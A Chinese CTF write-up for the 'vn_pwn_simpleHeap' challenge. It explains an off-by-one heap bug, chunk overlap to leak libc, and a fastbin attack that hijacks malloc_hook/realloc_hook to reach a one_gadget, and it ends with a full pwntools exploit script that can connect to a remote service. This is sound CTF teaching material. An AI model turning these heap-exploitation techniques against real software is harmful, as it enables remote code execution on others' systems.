程序分析

在edit功能中存在一个sub_c39函数,由于是从0开始,假设a2为10的话,应当在i=a2时便break,所以存在off by one漏洞

之后就是由于程序中malloc能申请的最大空间就是0x6f,而我们如果想通过free超过0x80的chunk来泄露libc的话,就必须要用堆叠chunk的方式来构造超过0x80的chunk进行free

不过需要说明一点的是,由于malloc的机制,当我们申请的堆块未和0x10对齐时,比如0x18,多出来的0x8字节将存放在下一个堆块的prev_size位,之后我们就可以通过offbyone来修改堆块的大小了

详细利用

申请4个堆块

第一个堆块用于offbyone

第二和第三个用于合并成超过0x80大小的chunk

第四个用于在free时防止chunk被合并到top chunk中

利用off by one 修改chunk_1

使chunk_1和chunk_2成为一块0xe0大小的chunk

free堆块 泄露libc

删除chunk_1

可以看到此时chunk_1的fd和bk指针都已经指向了main_arena

之后只需要通过再次的malloc申请一个堆块并填充上0x7大小的数据就可以带出该地址(由于会在末尾加上\x0a所以为0x7)

最后减去距离libc的偏移就可以得到libc地址

修改chunk_2 劫持realloc_hook

这里有两个重点要说明一下

  1. 为什么要用realloc而不是直接用free_hook\malloc_hook

首先是free_hook的问题,由于free_hook的附近的数据全都是0,这对于malloc的检查机制,不好构造chunk结构来绕过

而malloc_hook的话,则由于部分题的环境原因而不能直接使用one_gadget否则将会破坏栈平衡,更不能使用system因为我们无法向其中传入/bin/sh字符串

那么这时我们就可以利用realloc函数的开头部分一堆的push操作让栈保持平衡,进而执行onegadget

  1. fake_chunk的地址为什么要设在main_arena296-296-0x33

首席是可以通过malloc的检查机制,其次由于malloc_hook距离realloc_hook只有0x8的距离,所以我们填充的数据可以同时对这两个地址进行覆盖

建立chunk_4 填充fake_chunk

之后就要在chunk_2上进行操作

首先,由于此时的fd指针指向的位置是chunk_2,所以需要在申请一次在chunk_2上建立chunk_4,然后free掉这个chunk_4。之后我们修改chunk_2将fd区域改为fake_chunk由于chunk_4与chunk_2重叠的原因,所以此时被free掉的chunk_4的fd指针指向的就是fake_chunk的地址

之后虽然在上一步chunk_4的fd位置上填充了fake_chunk的地址,但是此时与chunk_4重叠的chunk_2的fd指针却还是指向chunk_4(2),所以要先malloc一次,在chunk_4(2)上填充数据

在fake_chunk上写

再次malloc申请的地址就是fake_chunk的地址了

然后payload中还有一点需要说明一下

1
add(0x60,"c"*(0x13-8)+p64(one_gg)+p64(realloc+0xc))

前面的'c'*(0x13-8)是因为我们是从main_arena-0x33的位置填充的,而这个位置距离realloc_hook的距离就是(0x13-8)

后面的realloc+0xc则是根据realloc在栈中push和pop数量做的一个偏移,由于realloc函数在执行时,会执行多个push寄存器的操作,如果前后的push pop次数不对应的话将影响栈平衡,所以我们直接在malloc_hook中填上realloc_hook+X的方式来执行one_gadget

具体可以看这篇文章:https://bbs.pediy.com/thread-246786.htm

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#coding:utf-8
import sys
from pwn import *
from one_gadget import generate_one_gadget
context.terminal = ["tmux","new-window"]
context.log_level = "debug"

def ProLoc(elf_addr,libc_addr,pro_libc):
global sh,elf,libc,one_ggs
if len(sys.argv) > 1 :
ip = sys.argv[1]
prot = sys.argv[2]
sh = remote(ip,prot)
libc_addr = pro_libc
else:
sh = process(elf_addr)
elf = ELF(elf_addr)
libc = ELF(libc_addr)
one_ggs = one_gadget(libc_addr)
### 调试用
def debug(cmd=""):
if len(sys.argv) == 1:
gdb.attach(sh,cmd)
### Shell_code
def shell_code(fw):
if fw == 32:
return asm(shellcraft.sh())
elif fw == 64:
return asm(shellcraft.amd64.linux.sh())
### One_Gadget
def one_gadget(libc_addr):
log.progress("Leak One_Gadgets...")
path_to_libc=libc_addr
gadget =[]
for offset in generate_one_gadget(path_to_libc):
gadget.append(int(offset))
return gadget
#one_gg = one_gadget("/lib/x86_64-linux-gnu/libc.so.6")

def exp():
def add(size,content):
sh.recvuntil("choice: ")
sh.sendline("1")
sh.sendlineafter("size?",str(size))
sh.sendlineafter("content:",content)
def edit(idx,content):
sh.recvuntil("choice: ")
sh.sendline("2")
sh.sendlineafter("idx?",str(idx))
# sh.sendlineafter("size?",str(size))
sh.sendlineafter("content:",content)
def show(idx):
sh.recvuntil("choice: ")
sh.sendline("3")
sh.sendlineafter("idx?",str(idx))
def delete(idx):
sh.recvuntil("choice: ")
sh.sendline("4")
sh.sendlineafter("idx?",str(idx))

### Off_By_One
add(0x18,"a")
add(0x60,"b")
add(0x60,"c")
add(0x10,"d")
edit(0,"A"*0x18+"\xe1")
# 0x70+0x70 = 0xe0,最后的1表示当前堆块在使用
delete(1)
add(0x60,"B"*7)
show(1)
sh.recvuntil("\x0a")
main_arena296 = u64(sh.recv(6).ljust(8,"\x00"))
success("main_arena => 0x%x",main_arena296)

### Leak addr
log.progress("loading leak addr...")
libc_base= main_arena296-0x3c4c48
malloc_hook = main_arena296-296-0x10
fake_chunk = main_arena296-296-0x33
realloc = libc_base+libc.sym["__libc_realloc"]
one_gg = libc_base+one_ggs[0]
success("libc_base => 0x%x",libc_base)
success("realloc => 0x%x",realloc)
success("malloc_hook => 0x%x",malloc_hook)
success("fake_chunk => 0x%x",fake_chunk)
success("one_gadget => 0x%x",one_gg)

### 劫持realloc_hook
add(0x60,"a"*7)
delete(4)
edit(2,p64(fake_chunk))
# debug()
add(0x60,"b")
add(0x60,"c"*(0x13-8)+p64(one_gg)+p64(realloc+0xc))

sh.recvuntil("choice: ")
sh.sendline("1")
sh.sendlineafter("size?","1")
sh.interactive()

if __name__=="__main__":
elf_addr = "./vn_pwn_simpleHeap"
libc_addr = "/lib/x86_64-linux-gnu/libc.so.6"
pro_libc = "./libc-2.23.so"
# libc_addr = pro_libc
ProLoc(elf_addr,libc_addr,pro_libc)
exp()

我的博客即将同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=2occsfq3la4g8